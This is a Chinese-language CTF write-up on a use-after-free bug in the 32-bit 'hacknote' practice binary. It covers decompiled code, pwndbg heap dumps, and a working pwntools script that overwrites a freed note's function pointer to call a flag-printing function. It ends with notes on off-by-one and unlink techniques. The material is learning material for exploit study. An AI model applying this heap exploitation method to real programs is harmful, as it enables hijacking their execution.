liu@liu-F117-F:~/1t/u18/文档/堆溢出学习/use after free$ checksec hacknote
[*] '/home/liu/1t/u18/\xe6\x96\x87\xe6\xa1\xa3/\xe5\xa0\x86\xe6\xba\xa2\xe5\x87\xba\xe5\xad\xa6\xe4\xb9\xa0/use after free/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位程序,开启了NX和Stack保护。
0x01程序流程
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // [esp-10h] [ebp-10h]
unsigned int v5; // [esp-Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &v4, 4u);
v3 = atoi((const char *)&v4);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}
提供了添加,删除,输出操作。
.text:08048986 ; Attributes: bp-based frame
.text:08048986
.text:08048986 public magic
.text:08048986 magic proc near
.text:08048986 ; __unwind {
.text:08048986 push ebp
.text:08048987 mov ebp, esp
.text:08048989 sub esp, 8
.text:0804898C sub esp, 0Ch
.text:0804898F push offset aCatHomeHacknot ; "cat /home/hacknote/flag"
.text:08048994 call _system
.text:08048999 add esp, 10h
.text:0804899C nop
.text:0804899D leave
.text:0804899E retn
.text:0804899E ; } // starts at 8048986
.text:0804899E magic endp
提供了system函数。
0x02node结构
查看add函数
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp-1Ch] [ebp-1Ch]
int v3; // [esp-18h] [ebp-18h]
int v4; // [esp-14h] [ebp-14h]
unsigned int v5; // [esp-Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)notelist[i] = print_note_content;
printf("Note size :");
read(0, &v4, 8u);
v3 = atoi((const char *)&v4);
v0 = notelist[i];
v0[1] = malloc(v3);
if ( !*((_DWORD *)notelist[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)notelist[i] + 1), v3);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
nodelist : node[0] node[1] node[2]
|````````````````````|
node[0][0]=puts_addr node[0][1]=content_addr
0x03漏洞
user after free 是指针释放后没有设置为NULL继续使用
参见https://ctf-wiki.github.io/ctf-wiki/pwn/heap/use_after_free/
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(*((void **)notelist[v1] + 1));
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
题目中delete的时候只是free,并没有把指针设置为NULL。
0x04内存分析
测试,生成2个节点。
Addbote(32,"a"*4)
Addbote(32,"b"*10)
pwndbg> x /10xw 0x804A070
0x804a070 <notelist>: 0x09726160 0x097261a0 0x00000000 0x00000000
0x804a080 <notelist+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000
pwndbg> x /50xw 0x09726150
0x9726150: 0x00000000 0x00000000 0x00000000 0x00000011
0x9726160: 0x0804865b 0x09726170 0x00000000 0x00000031
0x9726170: 0x61616161 0x0000000a 0x00000000 0x00000000
0x9726180: 0x00000000 0x00000000 0x00000000 0x00000000
0x9726190: 0x00000000 0x00000000 0x00000000 0x00000011
0x97261a0: 0x0804865b 0x097261b0 0x00000000 0x00000031
0x97261b0: 0x62626262 0x62626262 0x000a6262 0x00000000
0x97261c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x97261d0: 0x00000000 0x00000000 0x00000000 0x00021e29
删除节点
Addbote(32,"a"*4)
Addbote(32,"b"*10)
Deletenote(0)
Deletenote(1)
gdb .attach(p)
pwndbg> x /10xw 0x804A070
0x804a070 <notelist>: 0x09afd160 0x09afd1a0 0x00000000 0x00000000
0x804a080 <notelist+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000
pwndbg> x /50xw 0x09afd150
0x9afd150: 0x00000000 0x00000000 0x00000000 0x00000011
0x9afd160: 0x00000000 0x09afd170 0x00000000 0x00000031
0x9afd170: 0x00000000 0x0000000a 0x00000000 0x00000000
0x9afd180: 0x00000000 0x00000000 0x00000000 0x00000000
0x9afd190: 0x00000000 0x00000000 0x00000000 0x00000011
0x9afd1a0: 0x09afd160 0x09afd1b0 0x00000000 0x00000031
0x9afd1b0: 0x09afd170 0x62626262 0x000a6262 0x00000000
0x9afd1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x9afd1d0: 0x00000000 0x00000000 0x00000000 0x00021e29
0x9afd1e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x9afd1f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x9afd200: 0x00000000 0x00000000 0x00000000 0x00000000
0x9afd210: 0x00000000 0x00000000
nodelist数组没有清零,4个chunk也没有清零。
载添加一个note
Addbote(32,"a"*4)
Addbote(32,"b"*10)
Deletenote(0)
Deletenote(1)
Addbote(20,"c"*10)
gdb .attach(p)
pwndbg> x /50xw 0x0953f150
0x953f150: 0x00000000 0x00000000 0x00000000 0x00000011
0x953f160: 0x00000000 0x0953f170 0x00000000 0x00000031
0x953f170: 0x00000000 0x0000000a 0x00000000 0x00000000
0x953f180: 0x00000000 0x00000000 0x00000000 0x00000000
0x953f190: 0x00000000 0x00000000 0x00000000 0x00000011
0x953f1a0: 0x0804865b 0x0953f1e0 0x00000000 0x00000031
0x953f1b0: 0x0953f170 0x62626262 0x000a6262 0x00000000
0x953f1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x953f1d0: 0x00000000 0x00000000 0x00000000 0x00000021
0x953f1e0: 0x63636363 0x63636363 0x000a6363 0x00000000
0x953f1f0: 0x00000000 0x00000000 0x00000000 0x00021e09
0x953f200: 0x00000000 0x00000000 0x00000000 0x00000000
0x953f210: 0x00000000 0x00000000
我这里是ubuntu18会从下面继续申请空间
如果是下一个node大小也是32
Addbote(32,"a"*4)
Addbote(32,"b"*10)
Deletenote(0)
Deletenote(1)
Addbote(32,"c"*10)
gdb .attach(p)
pwndbg> x /50xw 0x08a6d150
0x8a6d150: 0x00000000 0x00000000 0x00000000 0x00000011
0x8a6d160: 0x00000000 0x08a6d170 0x00000000 0x00000031
0x8a6d170: 0x00000000 0x0000000a 0x00000000 0x00000000
0x8a6d180: 0x00000000 0x00000000 0x00000000 0x00000000
0x8a6d190: 0x00000000 0x00000000 0x00000000 0x00000011
0x8a6d1a0: 0x0804865b 0x08a6d1b0 0x00000000 0x00000031
0x8a6d1b0: 0x63636363 0x63636363 0x000a6363 0x00000000
0x8a6d1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8a6d1d0: 0x00000000 0x00000000 0x00000000 0x00021e29
0x8a6d1e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8a6d1f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8a6d200: 0x00000000 0x00000000 0x00000000 0x00000000
0x8a6d210: 0x00000000 0x00000000
可以看出来c占据了刚才b的位置。是占据的最后一个跟和申请大小相同的chunk,如果没有就会重新申请空间。(这里是ubuntu18的策略)
ubuntu16会优先使用最后一个跟申请大小相同的chunk如果没有就会重新在原来的chunk中操作。
0x05漏洞利用
申请2个node并删除之后会有2个回收的0x10字节大小的chunk只要设置第三个note的content为8就能把第一个chunk的内容设置为content。就可以覆盖掉put函数的地址,劫持程序执行流。
from pwn import *
context.log_level='debug'
p=process("hacknote")
def Addbote(size,content):
p.recvuntil("Your choice :")
p.sendline('1')
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)
def Deletenote(index):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
def Print(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
magic=0x08048986
Addbote(32,"a"*4)
Addbote(32,"b"*10)
Deletenote(0)
Deletenote(1)
Addbote(32,"c"*10)
gdb .attach(p)
Addbote(8,p32(magic))
gdb .attach(p)
# x /10xw 0x804A070
Print(0)
Addbote(20,'c'*10)
p.recvall()
当然ubuntu16和18在这里都能利用。
总结
off-by-one:输入或者赋值是否考虑临界情况。
利用:设置chunk大小使最后一个字节覆盖后指向的内容从不可操作到一个有意义可以操作的地址处。
Unlink:输入或者赋值的长度能够比真正的chunk更大。
利用:构造伪chunk设置后一个chunk的prev_size和flag标志,使系统执行unlink操作。执行unlink操作实现复写got表。
特点:因为验证保护,需要一个跳板才能实现任意写,这个跳板一般是bss段的数据。也就是说需要bss段本身在程序中是存有有用数据的。
use after free:free之后没有设置为NULL
利用:创建,创建,删除,创建。构造伪chunk。
特点:free之后可以继续输出。